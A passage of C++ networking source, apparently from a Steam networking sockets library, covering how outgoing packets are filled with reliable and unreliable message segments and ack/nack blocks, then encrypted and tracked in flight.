m_receiverState.m_mapPacketGaps )-1; pLog->m_nAckBlocksNeeded = ackHelper.m_nBlocksNeedToAck; pLog->m_nPktNumNextPendingAck = m_receiverState.m_itPendingAck->first; pLog->m_usecNextPendingAckTime = m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior; pLog->m_fltokens = m_senderState.m_flTokenBucket; pLog->m_nMaxPktRecv = m_statsEndToEnd.m_nMaxRecvPktNum; pLog->m_nMinPktNumToSendAcks = m_receiverState.m_nMinPktNumToSendAcks; pLog->m_nReliableSegmentsRetry = 0; pLog->m_nSegmentsSent = 0; #endif // How much space do we need to reserve for acks? int cbReserveForAcks = 0; if ( m_statsEndToEnd.m_nMaxRecvPktNum > 0 ) { int cbPayloadRemainingForAcks = pPayloadEnd - pPayloadPtr; if ( cbPayloadRemainingForAcks >= SNPAckSerializerHelper::k_cbHeaderSize ) { cbReserveForAcks = SNPAckSerializerHelper::k_cbHeaderSize; int n = 3; // Assume we want to send a handful n = std::max( n, ackHelper.m_nBlocksNeedToAck ); // But if we have blocks that need to be flushed now, try to fit all of them n = std::min( n, ackHelper.m_nBlocks ); // Cannot send more than we actually have while ( n > 0 ) { --n; if ( ackHelper.m_arBlocks[n].m_cbTotalEncodedSize <= cbPayloadRemainingForAcks ) { cbReserveForAcks = ackHelper.m_arBlocks[n].m_cbTotalEncodedSize; break; } } } } // Check if we are actually going to send data in this packet if ( m_senderState.m_flTokenBucket < 0.0 // No bandwidth available. (Presumably this is a relatively rare out-of-band connectivity check, etc) FIXME should we use a different token bucket per transport? || !BStateIsConnectedForWirePurposes() // not actually in a connection stats where we should be sending real data yet || pTransport != m_pTransport // transport is not the selected transport ) { // Serialize some acks, if we want to if ( cbReserveForAcks > 0 ) { // But if we're going to send any acks, then try to send as many // as possible, not just the bare minimum. pPayloadPtr = SNP_SerializeAckBlocks( ackHelper, pPayloadPtr, pPayloadEnd, usecNow ); if ( pPayloadPtr == nullptr ) return false; // bug! Abort // We don't need to serialize any more acks cbReserveForAcks = 0; } // Truncate the buffer, don't try to fit any data // !SPEED! - instead of doing this, we could just put all of the segment code below // in an else() block. pPayloadEnd = pPayloadPtr; } int64 nLastReliableStreamPosEnd = 0; int cbBytesRemainingForSegments = pPayloadEnd - pPayloadPtr - cbReserveForAcks; vstd::small_vector<EncodedSegment,8> vecSegments; // If we need to retry any reliable data, then try to put that in first. // Bail if we only have a tiny sliver of data left while ( !m_senderState.m_listReadyRetryReliableRange.empty() && cbBytesRemainingForSegments > 2 ) { auto h = m_senderState.m_listReadyRetryReliableRange.begin(); // Start a reliable segment EncodedSegment &seg = *push_back_get_ptr( vecSegments ); seg.SetupReliable( h->second, h->first.m_nBegin, h->first.m_nEnd, nLastReliableStreamPosEnd ); int cbSegTotalWithoutSizeField = seg.m_cbHdr + seg.m_cbSegSize; if ( cbSegTotalWithoutSizeField > cbBytesRemainingForSegments ) { // This one won't fit. vecSegments.pop_back(); // FIXME If there's a decent amount of space left in this packet, it might // be worthwhile to send what we can. Right now, once we send a reliable range, // we always retry exactly that range. The only complication would be when we // receive an ack, we would need to be aware that the acked ranges might not // exactly match up with the ranges that we sent. Actually this shouldn't // be that big of a deal. But for now let's always retry the exact ranges that // things got chopped up during the initial send. // This should only happen if we have already fit some data in, or // the caller asked us to see what we could squeeze into a smaller // packet, or we need to serialized a bunch of acks. If this is an // opportunity to fill a normal packet and we fail on the first segment, // we will never make progress and we are hosed! AssertMsg2( nLastReliableStreamPosEnd > 0 || cbMaxPlaintextPayload < m_cbMaxPlaintextPayloadSend || ( cbReserveForAcks > 15 && ackHelper.m_nBlocksNeedToAck > 8 ), "We cannot fit reliable segment, need %d bytes, only %d remaining", cbSegTotalWithoutSizeField, cbBytesRemainingForSegments ); // Don't try to put more stuff in the packet, even if we have room. We're // already having to retry, so this data is already delayed. If we skip ahead // and put more into this packet, that's just extending the time until we can send // the next packet. break; } // If we only have a sliver left, then don't try to fit any more. cbBytesRemainingForSegments -= cbSegTotalWithoutSizeField; nLastReliableStreamPosEnd = h->first.m_nEnd; // Assume for now this won't be the last segment, in which case we will also need // the byte for the size field. // NOTE: This might cause cbPayloadBytesRemaining to go negative by one! I know // that seems weird, but it actually keeps the logic below simpler. cbBytesRemainingForSegments -= 1; // Remove from retry list. (We'll add to the in-flight list later) m_senderState.m_listReadyRetryReliableRange.erase( h ); #ifdef SNP_ENABLE_PACKETSENDLOG ++pLog->m_nReliableSegmentsRetry; #endif } // Did we retry everything we needed to? If not, then don't try to send new stuff, // before we send those retries. if ( m_senderState.m_listReadyRetryReliableRange.empty() ) { // OK, check the outgoing messages, and send as much stuff as we can cram in there int64 nLastMsgNum = 0; while ( cbBytesRemainingForSegments > 4 ) { if ( m_senderState.m_messagesQueued.empty() ) { m_senderState.m_cbCurrentSendMessageSent = 0; break; } CSteamNetworkingMessage *pSendMsg = m_senderState.m_messagesQueued.m_pFirst; Assert( m_senderState.m_cbCurrentSendMessageSent < pSendMsg->m_cbSize ); // Start a new segment EncodedSegment &seg = *push_back_get_ptr( vecSegments ); // Reliable? bool bLastSegment = false; if ( pSendMsg->SNPSend_IsReliable() ) { // FIXME - Coalesce adjacent reliable messages ranges int64 nBegin = pSendMsg->SNPSend_ReliableStreamPos() + m_senderState.m_cbCurrentSendMessageSent; // How large would we like this segment to be, // ignoring how much space is left in the packet. // We limit the size of reliable segments, to make // sure that we don't make an excessively large // one and then have a hard time retrying it later. int cbDesiredSegSize = pSendMsg->m_cbSize - m_senderState.m_cbCurrentSendMessageSent; if ( cbDesiredSegSize > m_cbMaxReliableMessageSegment ) { cbDesiredSegSize = m_cbMaxReliableMessageSegment; bLastSegment = true; } int64 nEnd = nBegin + cbDesiredSegSize; seg.SetupReliable( pSendMsg, nBegin, nEnd, nLastReliableStreamPosEnd ); // If we encode subsequent nLastReliableStreamPosEnd = nEnd; } else { seg.SetupUnreliable( pSendMsg, m_senderState.m_cbCurrentSendMessageSent, nLastMsgNum ); } // Can't fit the whole thing? if ( bLastSegment || seg.m_cbHdr + seg.m_cbSegSize > cbBytesRemainingForSegments ) { // Check if we have enough room to send anything worthwhile. // Don't send really tiny silver segments at the very end of a packet. That sort of fragmentation // just makes it more likely for something to drop. Our goal is to reduce the number of packets // just as much as the total number of bytes, so if we're going to have to send another packet // anyway, don't send a little sliver of a message at the beginning of a packet // We need to finish the header by this point if we're going to send anything int cbMinSegDataSizeToSend = std::min( 16, seg.m_cbSegSize ); if ( seg.m_cbHdr + cbMinSegDataSizeToSend > cbBytesRemainingForSegments ) { // Don't send this segment now. vecSegments.pop_back(); break; } #ifdef SNP_ENABLE_PACKETSENDLOG ++pLog->m_nSegmentsSent; #endif // Truncate, and leave the message in the queue seg.m_cbSegSize = std::min( seg.m_cbSegSize, cbBytesRemainingForSegments - seg.m_cbHdr ); m_senderState.m_cbCurrentSendMessageSent += seg.m_cbSegSize; Assert( m_senderState.m_cbCurrentSendMessageSent < pSendMsg->m_cbSize ); cbBytesRemainingForSegments -= seg.m_cbHdr + seg.m_cbSegSize; break; } // The whole message fit (perhaps exactly, without the size byte) // Reset send pointer for the next message Assert( m_senderState.m_cbCurrentSendMessageSent + seg.m_cbSegSize == pSendMsg->m_cbSize ); m_senderState.m_cbCurrentSendMessageSent = 0; // Remove message from queue,w e have transfered ownership to the segment and will // dispose of the message when we serialize the segments m_senderState.m_messagesQueued.pop_front(); // Consume payload bytes cbBytesRemainingForSegments -= seg.m_cbHdr + seg.m_cbSegSize; // Assume for now this won't be the last segment, in which case we will also need the byte for the size field. // NOTE: This might cause cbPayloadBytesRemaining to go negative by one! I know that seems weird, but it actually // keeps the logic below simpler. cbBytesRemainingForSegments -= 1; // Update various accounting, depending on reliable or unreliable if ( pSendMsg->SNPSend_IsReliable() ) { // Reliable segments advance the current message number. // NOTE: If we coalesce adjacent reliable segments, this will probably need to be adjusted if ( nLastMsgNum > 0 ) ++nLastMsgNum; // Go ahead and add us to the end of the list of unacked messages m_senderState.m_unackedReliableMessages.push_back( seg.m_pMsg ); } else { nLastMsgNum = pSendMsg->m_nMessageNumber; // Set the "This is the last segment in this message" header bit seg.m_hdr[0] |= 0x20; } } } // Now we know how much space we need for the segments. If we asked to reserve // space for acks, we should have at least that much. But we might have more. // Serialize acks, as much as will fit. If we are badly fragmented and we have // the space, it's better to keep sending acks over and over to try to clear // it out as fast as possible. if ( cbReserveForAcks > 0 ) { // If we didn't use all the space for data, that's more we could use for acks int cbAvailForAcks = cbReserveForAcks; if ( cbBytesRemainingForSegments > 0 ) cbAvailForAcks += cbBytesRemainingForSegments; uint8 *pAckEnd = pPayloadPtr + cbAvailForAcks; Assert( pAckEnd <= pPayloadEnd ); uint8 *pAfterAcks = SNP_SerializeAckBlocks( ackHelper, pPayloadPtr, pAckEnd, usecNow ); if ( pAfterAcks == nullptr ) return false; // bug! Abort int cbAckBytesWritten = pAfterAcks - pPayloadPtr; if ( cbAckBytesWritten > cbReserveForAcks ) { // We used more space for acks than was strictly reserved. // Update space remaining for data segments. We should have the room! cbBytesRemainingForSegments -= ( cbAckBytesWritten - cbReserveForAcks ); Assert( cbBytesRemainingForSegments >= -1 ); // remember we might go over by one byte } else { Assert( cbAckBytesWritten == cbReserveForAcks ); // The code above reserves space very carefuly. So if we reserve it, we should fill it! } pPayloadPtr = pAfterAcks; } // We are gonna send a packet. Start filling out an entry so that when it's acked (or nacked) // we can know what to do. Assert( m_senderState.m_mapInFlightPacketsByPktNum.lower_bound( m_statsEndToEnd.m_nNextSendSequenceNumber ) == m_senderState.m_mapInFlightPacketsByPktNum.end() ); std::pair<int64,SNPInFlightPacket_t> pairInsert( m_statsEndToEnd.m_nNextSendSequenceNumber, SNPInFlightPacket_t{ usecNow, false, pTransport, {} } ); SNPInFlightPacket_t &inFlightPkt = pairInsert.second; // We might have gone over exactly one byte, because we counted the size byte of the last // segment, which doesn't actually need to be sent Assert( cbBytesRemainingForSegments >= 0 || ( cbBytesRemainingForSegments == -1 && vecSegments.size() > 0 ) ); // OK, now go through and actually serialize the segments int nSegments = len( vecSegments ); for ( int idx = 0 ; idx < nSegments ; ++idx ) { EncodedSegment &seg = vecSegments[ idx ]; // Check if this message is still sitting in the queue. (If so, it has to be the first one!) bool bStillInQueue = ( seg.m_pMsg == m_senderState.m_messagesQueued.m_pFirst ); // Finish the segment size byte if ( idx < nSegments-1 ) { // Stash upper 3 bits into the header int nUpper3Bits = ( seg.m_cbSegSize>>8 ); Assert( nUpper3Bits <= 4 ); // The values 5 and 6 are reserved and shouldn't be needed due to the MTU we support seg.m_hdr[0] |= nUpper3Bits; // And the lower 8 bits follow the other fields seg.m_hdr[ seg.m_cbHdr++ ] = uint8( seg.m_cbSegSize ); } else { // Set "no explicit size field included, segment extends to end of packet" seg.m_hdr[0] |= 7; } // Double-check that we didn't overflow Assert( seg.m_cbHdr <= seg.k_cbMaxHdr ); // Copy the header memcpy( pPayloadPtr, seg.m_hdr, seg.m_cbHdr ); pPayloadPtr += seg.m_cbHdr; Assert( pPayloadPtr+seg.m_cbSegSize <= pPayloadEnd ); // Reliable? if ( seg.m_pMsg->SNPSend_IsReliable() ) { // We should never encode an empty range of the stream, that is worthless. // (Even an empty reliable message requires some framing in the stream.) Assert( seg.m_cbSegSize > 0 ); // Copy the unreliable segment into the packet. Does the portion we are serializing // begin in the header? if ( seg.m_nOffset < seg.m_pMsg->m_cbSNPSendReliableHeader ) { int cbCopyHdr = std::min( seg.m_cbSegSize, seg.m_pMsg->m_cbSNPSendReliableHeader - seg.m_nOffset ); memcpy( pPayloadPtr, seg.m_pMsg->SNPSend_ReliableHeader() + seg.m_nOffset, cbCopyHdr ); pPayloadPtr += cbCopyHdr; int cbCopyBody = seg.m_cbSegSize - cbCopyHdr; if ( cbCopyBody > 0 ) { memcpy( pPayloadPtr, seg.m_pMsg->m_pData, cbCopyBody ); pPayloadPtr += cbCopyBody; } } else { // This segment is entirely from the message body memcpy( pPayloadPtr, (char*)seg.m_pMsg->m_pData + seg.m_nOffset - seg.m_pMsg->m_cbSNPSendReliableHeader, seg.m_cbSegSize ); pPayloadPtr += seg.m_cbSegSize; } // Remember that this range is in-flight SNPRange_t range; range.m_nBegin = seg.m_pMsg->SNPSend_ReliableStreamPos() + seg.m_nOffset; range.m_nEnd = range.m_nBegin + seg.m_cbSegSize; // Ranges of the reliable stream that have not been acked should either be // in flight, or queued for retry. Make sure this range is not already in // either state. Assert( !HasOverlappingRange( range, m_senderState.m_listInFlightReliableRange ) ); Assert( !HasOverlappingRange( range, m_senderState.m_listReadyRetryReliableRange ) ); // Spew SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld reliable msg %lld offset %d+%d=%d range [%lld,%lld)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)seg.m_pMsg->m_nMessageNumber, seg.m_nOffset, seg.m_cbSegSize, seg.m_nOffset+seg.m_cbSegSize, (long long)range.m_nBegin, (long long)range.m_nEnd ); // Add to table of in-flight reliable ranges m_senderState.m_listInFlightReliableRange[ range ] = seg.m_pMsg; // Remember that this packet contained that range inFlightPkt.m_vecReliableSegments.push_back( range ); // Less reliable data pending m_senderState.m_cbPendingReliable -= seg.m_cbSegSize; Assert( m_senderState.m_cbPendingReliable >= 0 ); } else { // We should only encode an empty segment if the message itself is empty Assert( seg.m_cbSegSize > 0 || ( seg.m_cbSegSize == 0 && seg.m_pMsg->m_cbSize == 0 ) ); // Check some stuff Assert( bStillInQueue == ( seg.m_nOffset + seg.m_cbSegSize < seg.m_pMsg->m_cbSize ) ); // If we ended the message, we should have removed it from the queue Assert( bStillInQueue == ( ( seg.m_hdr[0] & 0x20 ) == 0 ) ); Assert( bStillInQueue || seg.m_pMsg->m_links.m_pNext == nullptr ); // If not in the queue, we should be detached Assert( seg.m_pMsg->m_links.m_pPrev == nullptr ); // We should either be at the head of the queue, or detached // Copy the unreliable segment into the packet memcpy( pPayloadPtr, (char*)seg.m_pMsg->m_pData + seg.m_nOffset, seg.m_cbSegSize ); pPayloadPtr += seg.m_cbSegSize; // Spew SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld unreliable msg %lld offset %d+%d=%d\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)seg.m_pMsg->m_nMessageNumber, seg.m_nOffset, seg.m_cbSegSize, seg.m_nOffset+seg.m_cbSegSize ); // Less unreliable data pending m_senderState.m_cbPendingUnreliable -= seg.m_cbSegSize; Assert( m_senderState.m_cbPendingUnreliable >= 0 ); // Done with this message? Clean up if ( !bStillInQueue ) seg.m_pMsg->Release(); } } // One last check for overflow Assert( pPayloadPtr <= pPayloadEnd ); int cbPlainText = pPayloadPtr - payload; if ( cbPlainText > cbMaxPlaintextPayload ) { AssertMsg1( false, "Payload exceeded max size of %d\n", cbMaxPlaintextPayload ); return 0; } // OK, we have a plaintext payload. Encrypt and send it. // What cipher are we using? int nBytesSent = 0; switch ( m_eNegotiatedCipher ) { default: AssertMsg1( false, "Bogus cipher %d", m_eNegotiatedCipher ); break; case k_ESteamNetworkingSocketsCipher_NULL: { // No encryption! // Ask current transport to deliver it nBytesSent = pTransport->SendEncryptedDataChunk( payload, cbPlainText, ctx ); } break; case k_ESteamNetworkingSocketsCipher_AES_256_GCM: { Assert( m_bCryptKeysValid ); // Adjust the IV by the packet number *(uint64 *)&m_cryptIVSend.m_buf += LittleQWord( m_statsEndToEnd.m_nNextSendSequenceNumber ); // Encrypt the chunk uint8 arEncryptedChunk[ k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend + 64 ]; // Should not need pad uint32 cbEncrypted = sizeof(arEncryptedChunk); DbgVerify( m_cryptContextSend.Encrypt( payload, cbPlainText, // plaintext m_cryptIVSend.m_buf, // IV arEncryptedChunk, &cbEncrypted, // output nullptr, 0 // no AAD ) ); //SpewMsg( "Send encrypt IV %llu + %02x%02x%02x%02x encrypted %d %02x%02x%02x%02x\n", // *(uint64 *)&m_cryptIVSend.m_buf, // m_cryptIVSend.m_buf[8], m_cryptIVSend.m_buf[9], m_cryptIVSend.m_buf[10], m_cryptIVSend.m_buf[11], // cbEncrypted, // arEncryptedChunk[0], arEncryptedChunk[1], arEncryptedChunk[2],arEncryptedChunk[3] //); // Restore the IV to the base value *(uint64 *)&m_cryptIVSend.m_buf -= LittleQWord( m_statsEndToEnd.m_nNextSendSequenceNumber ); Assert( (int)cbEncrypted >= cbPlainText ); Assert( (int)cbEncrypted <= k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend ); // confirm that pad above was not necessary and we never exceed k_nMaxSteamDatagramTransportPayload, even after encrypting // Ask current transport to deliver it nBytesSent = pTransport->SendEncryptedDataChunk( arEncryptedChunk, cbEncrypted, ctx ); } } if ( nBytesSent <= 0 ) return false; // We sent a packet. Track it auto pairInsertResult = m_senderState.m_mapInFlightPacketsByPktNum.insert( pairInsert ); Assert( pairInsertResult.second ); // We should have inserted a new element, not updated an existing element // If we sent any reliable data, we should expect a reply if ( !inFlightPkt.m_vecReliableSegments.empty() ) { m_statsEndToEnd.TrackSentMessageExpectingSeqNumAck( usecNow, true ); // FIXME - should let transport know } // If we aren't already tracking anything to timeout, then this is the next one. if ( m_senderState.m_itNextInFlightPacketToTimeout == m_senderState.m_mapInFlightPacketsByPktNum.end() ) m_senderState.m_itNextInFlightPacketToTimeout = pairInsertResult.first; #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_cbSent = nBytesSent; #endif // We spent some tokens m_senderState.m_flTokenBucket -= (float)nBytesSent; return true; } void CSteamNetworkConnectionBase::SNP_SentNonDataPacket( CConnectionTransport *pTransport, SteamNetworkingMicroseconds usecNow ) { std::pair<int64,SNPInFlightPacket_t> pairInsert( m_statsEndToEnd.m_nNextSendSequenceNumber-1, SNPInFlightPacket_t{ usecNow, false, pTransport, {} } ); auto pairInsertResult = m_senderState.m_mapInFlightPacketsByPktNum.insert( pairInsert ); Assert( pairInsertResult.second ); // We should have inserted a new element, not updated an existing element. Probably an order ofoperations bug with m_nNextSendSequenceNumber } void CSteamNetworkConnectionBase::SNP_GatherAckBlocks( SNPAckSerializerHelper &helper, SteamNetworkingMicroseconds usecNow ) { helper.m_nBlocks = 0; helper.m_nBlocksNeedToAck = 0; // Fast case for no packet loss we need to ack, which will (hopefully!) be a common case int n = len( m_receiverState.m_mapPacketGaps ) - 1; if ( n <= 0 ) return; // Let's not just flush the acks that are due right now. Let's flush all of them // that will be due any time before we have the bandwidth to send the next packet. // (Assuming that we send the max packet size here.) SteamNetworkingMicroseconds usecSendAcksDueBefore = usecNow; SteamNetworkingMicroseconds usecTimeUntilNextPacket = SteamNetworkingMicroseconds( ( m_senderState.m_flTokenBucket - (float)m_cbMTUPacketSize ) / (float)m_senderState.m_n_x * -1e6 ); if ( usecTimeUntilNextPacket > 0 ) usecSendAcksDueBefore += usecTimeUntilNextPacket; m_receiverState.DebugCheckPackGapMap(); n = std::min( (int)helper.k_nMaxBlocks, n ); auto itNext = m_receiverState.m_mapPacketGaps.begin(); int cbEncodedSize = helper.k_cbHeaderSize; while ( n > 0 ) { --n; auto itCur = itNext; ++itNext; Assert( itCur->first < itCur->second.m_nEnd ); // Do we need to report on this block now? bool bNeedToReport = ( itNext->second.m_usecWhenAckPrior <= usecSendAcksDueBefore ); // Should we wait to NACK this? if ( itCur == m_receiverState.m_itPendingNack ) { // Wait to NACK this? if ( !bNeedToReport ) { if ( usecNow < itCur->second.m_usecWhenOKToNack ) break; bNeedToReport = true; } // Go ahead and NACK it. If the packet arrives, we will use it. // But our NACK may cause the sender to retransmit. ++m_receiverState.m_itPendingNack; } SNPAckSerializerHelper::Block &block = helper.m_arBlocks[ helper.m_nBlocks ]; block.m_nNack = uint32( itCur->second.m_nEnd - itCur->first ); int64 nAckEnd; SteamNetworkingMicroseconds usecWhenSentLast; if ( n == 0 ) { // itNext should be the sentinel Assert( itNext->first == INT64_MAX ); nAckEnd = m_statsEndToEnd.m_nMaxRecvPktNum+1; usecWhenSentLast = m_statsEndToEnd.m_usecTimeLastRecvSeq; } else { nAckEnd = itNext->first; usecWhenSentLast = itNext->second.m_usecWhenReceivedPktBefore; } Assert( itCur->second.m_nEnd < nAckEnd ); block.m_nAck = uint32( nAckEnd - itCur->second.m_nEnd ); block.m_nLatestPktNum = uint32( nAckEnd-1 ); block.m_nEncodedTimeSinceLatestPktNum = SNPAckSerializerHelper::EncodeTimeSince( usecNow, usecWhenSentLast ); // When we encode 7+ blocks, the header grows by one byte // to store an explicit count if ( helper.m_nBlocks == 6 ) ++cbEncodedSize; // This block ++cbEncodedSize; if ( block.m_nAck > 7 ) cbEncodedSize += VarIntSerializedSize( block.m_nAck>>3 ); if ( block.m_nNack > 7 ) cbEncodedSize += VarIntSerializedSize( block.m_nNack>>3 ); block.m_cbTotalEncodedSize = cbEncodedSize; // FIXME Here if the caller knows they are working with limited space, // they could tell us how much space they have and we could bail // if we already know we're over ++helper.m_nBlocks; // Do we really need to try to flush the ack/nack for that block out now? if ( bNeedToReport ) helper.m_nBlocksNeedToAck = helper.m_nBlocks; } } uint8 *CSteamNetworkConnectionBase::SNP_SerializeAckBlocks( const SNPAckSerializerHelper &helper, uint8 *pOut, const uint8 *pOutEnd, SteamNetworkingMicroseconds usecNow ) { // We shouldn't be called if we never received anything Assert( m_statsEndToEnd.m_nMaxRecvPktNum > 0 ); // No room even for the header? if ( pOut + SNPAckSerializerHelper::k_cbHeaderSize > pOutEnd ) return pOut; // !KLUDGE! For now limit number of blocks, and always use 16-bit ID. // Later we might want to make this code smarter. COMPILE_TIME_ASSERT( SNPAckSerializerHelper::k_cbHeaderSize == 5 ); uint8 *pAckHeaderByte = pOut; ++pOut; uint16 *pLatestPktNum = (uint16 *)pOut; pOut += 2; uint16 *pTimeSinceLatestPktNum = (uint16 *)pOut; pOut += 2; // 10011000 - ack frame designator, with 16-bit last-received sequence number, and no ack blocks *pAckHeaderByte = 0x98; int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); #ifdef SNP_ENABLE_PACKETSENDLOG PacketSendLog *pLog = &m_vecSendLog[ m_vecSendLog.size()-1 ]; #endif // Fast case for no packet loss we need to ack, which will (hopefully!) be a common case if ( m_receiverState.m_mapPacketGaps.size() == 1 ) { int64 nLastRecvPktNum = m_statsEndToEnd.m_nMaxRecvPktNum; *pLatestPktNum = LittleWord( (uint16)nLastRecvPktNum ); *pTimeSinceLatestPktNum = LittleWord( (uint16)SNPAckSerializerHelper::EncodeTimeSince( usecNow, m_statsEndToEnd.m_usecTimeLastRecvSeq ) ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld last recv %lld (no loss)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nLastRecvPktNum ); m_receiverState.m_mapPacketGaps.rbegin()->second.m_usecWhenAckPrior = INT64_MAX; // Clear timer, we wrote everything we needed to #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_nAckBlocksSent = 0; pLog->m_nAckEnd = nLastRecvPktNum; #endif return pOut; } // Fit as many blocks as possible. // (Unless we are badly fragmented and are trying to squeeze in what // we can at the end of a packet, this won't ever iterate int nBlocks = helper.m_nBlocks; uint8 *pExpectedOutEnd; for (;;) { // Not sending any blocks at all? (Either they don't fit, or we are waiting because we don't // want to nack yet.) Just fill in the header with the oldest ack if ( nBlocks == 0 ) { auto itOldestGap = m_receiverState.m_mapPacketGaps.begin(); int64 nLastRecvPktNum = itOldestGap->first-1; *pLatestPktNum = LittleWord( uint16( nLastRecvPktNum ) ); *pTimeSinceLatestPktNum = LittleWord( (uint16)SNPAckSerializerHelper::EncodeTimeSince( usecNow, itOldestGap->second.m_usecWhenReceivedPktBefore ) ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld last recv %lld (no blocks, actual last recv=%lld)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nLastRecvPktNum, (long long)m_statsEndToEnd.m_nMaxRecvPktNum ); #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_nAckBlocksSent = 0; pLog->m_nAckEnd = nLastRecvPktNum; #endif // Acked packets before this gap. Were we waiting to flush them? if ( itOldestGap == m_receiverState.m_itPendingAck ) { // Mark it as sent m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_receiverState.m_itPendingAck; } // NOTE: We did NOT nack anything just now return pOut; } int cbTotalEncoded = helper.m_arBlocks[nBlocks-1].m_cbTotalEncodedSize; pExpectedOutEnd = pAckHeaderByte + cbTotalEncoded; // Save for debugging below if ( pExpectedOutEnd <= pOutEnd ) break; // Won't fit, peel off the newest one, see if the earlier ones will fit --nBlocks; } // OK, we know how many blocks we are going to write. Finish the header byte Assert( nBlocks == uint8(nBlocks) ); if ( nBlocks > 6 ) { *pAckHeaderByte |= 7; *(pOut++) = uint8( nBlocks ); } else { *pAckHeaderByte |= uint8( nBlocks ); } // Locate the first one we will serialize. // (It's the newest one, which is the last one in the list). const SNPAckSerializerHelper::Block *pBlock = &helper.m_arBlocks[nBlocks-1]; // Latest packet number and time *pLatestPktNum = LittleWord( uint16( pBlock->m_nLatestPktNum ) ); *pTimeSinceLatestPktNum = LittleWord( pBlock->m_nEncodedTimeSinceLatestPktNum ); // Full packet number, for spew int64 nAckEnd = ( m_statsEndToEnd.m_nMaxRecvPktNum & ~(int64)(~(uint32)0) ) | pBlock->m_nLatestPktNum; ++nAckEnd; #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_nAckBlocksSent = nBlocks; pLog->m_nAckEnd = nAckEnd; #endif SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld last recv %lld (%d blocks, actual last recv=%lld)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)(nAckEnd-1), nBlocks, (long long)m_statsEndToEnd.m_nMaxRecvPktNum ); // Check for a common case where we report on everything if ( nAckEnd > m_statsEndToEnd.m_nMaxRecvPktNum ) { Assert( nAckEnd == m_statsEndToEnd.m_nMaxRecvPktNum+1 ); for (;;) { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; if ( m_receiverState.m_itPendingAck->first == INT64_MAX ) break; ++m_receiverState.m_itPendingAck; } m_receiverState.m_itPendingNack = m_receiverState.m_itPendingAck; } else { // Advance pointer to next block that needs to be acked, // past the ones we are about to ack. if ( m_receiverState.m_itPendingAck->first <= nAckEnd ) { do { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_receiverState.m_itPendingAck; } while ( m_receiverState.m_itPendingAck->first <= nAckEnd ); } // Advance pointer to next block that needs to be nacked, past the ones // we are about to nack. while ( m_receiverState.m_itPendingNack->first < nAckEnd ) ++m_receiverState.m_itPendingNack; } // Serialize the blocks into the packet, from newest to oldest while ( pBlock >= helper.m_arBlocks ) { uint8 *pAckBlockHeaderByte = pOut; ++pOut; // Encode ACK (number of packets successfully received) { if ( pBlock->m_nAck < 8 ) { // Small block of packets. Encode directly in the header. *pAckBlockHeaderByte = uint8(pBlock->m_nAck << 4); } else { // Larger block of received packets. Put lowest bits in the header, // and overflow using varint. This is probably going to be pretty // common. *pAckBlockHeaderByte = 0x80 | ( uint8(pBlock->m_nAck & 7) << 4 ); pOut = SerializeVarInt( pOut, pBlock->m_nAck>>3, pOutEnd ); if ( pOut == nullptr ) { AssertMsg( false, "Overflow serializing packet ack varint count" ); return nullptr; } } } // Encode NACK (number of packets dropped) { if ( pBlock->m_nNack < 8 ) { // Small block of packets. Encode directly in the header. *pAckBlockHeaderByte |= uint8(pBlock->m_nNack); } else { // Larger block of dropped packets. Put lowest bits in the header, // and overflow using varint. This is probably going to be less common than // large ACK runs, but not totally uncommon. Losing one or two packets is // really common, but loss events often involve a lost of many packets in a run. *pAckBlockHeaderByte |= 0x08 | uint8(pBlock->m_nNack & 7); pOut = SerializeVarInt( pOut, pBlock->m_nNack >> 3, pOutEnd ); if ( pOut == nullptr ) { AssertMsg( false, "Overflow serializing packet nack varint count" ); return nullptr; } } } // Debug int64 nAckBegin = nAckEnd - pBlock->m_nAck; int64 nNackBegin = nAckBegin - pBlock->m_nNack; SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld nack [%lld,%lld) ack [%lld,%lld) \n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nNackBegin, (long long)nAckBegin, (long long)nAckBegin, (long long)nAckEnd ); nAckEnd = nNackBegin; Assert( nAckEnd > 0 ); // Make sure we don't try to ack packet 0 or below // Move backwards in time --pBlock; } // Make sure when we were checking what would fit, we correctly calculated serialized size Assert( pOut == pExpectedOutEnd ); return pOut; } uint8 *CSteamNetworkConnectionBase::SNP_SerializeStopWaitingFrame( uint8 *pOut, const uint8 *pOutEnd, SteamNetworkingMicroseconds usecNow ) { // For now, we will always write this. We should optimize this and try to be // smart about when to send it (probably maybe once per RTT, or when N packets // have been received or N blocks accumulate?) // Calculate offset from the current sequence number int64 nOffset = m_statsEndToEnd.m_nNextSendSequenceNumber - m_senderState.m_nMinPktWaitingOnAck; AssertMsg2( nOffset > 0, "Told peer to stop acking up to %lld, but latest packet we have sent is %lld", (long long)m_senderState.m_nMinPktWaitingOnAck, (long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] encode pkt %lld stop_waiting offset %lld = %lld", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nOffset, (long long)m_senderState.m_nMinPktWaitingOnAck ); // Subtract one, as a *tiny* optimization, since they cannot possible have // acknowledged this packet we are serializing already --nOffset; // 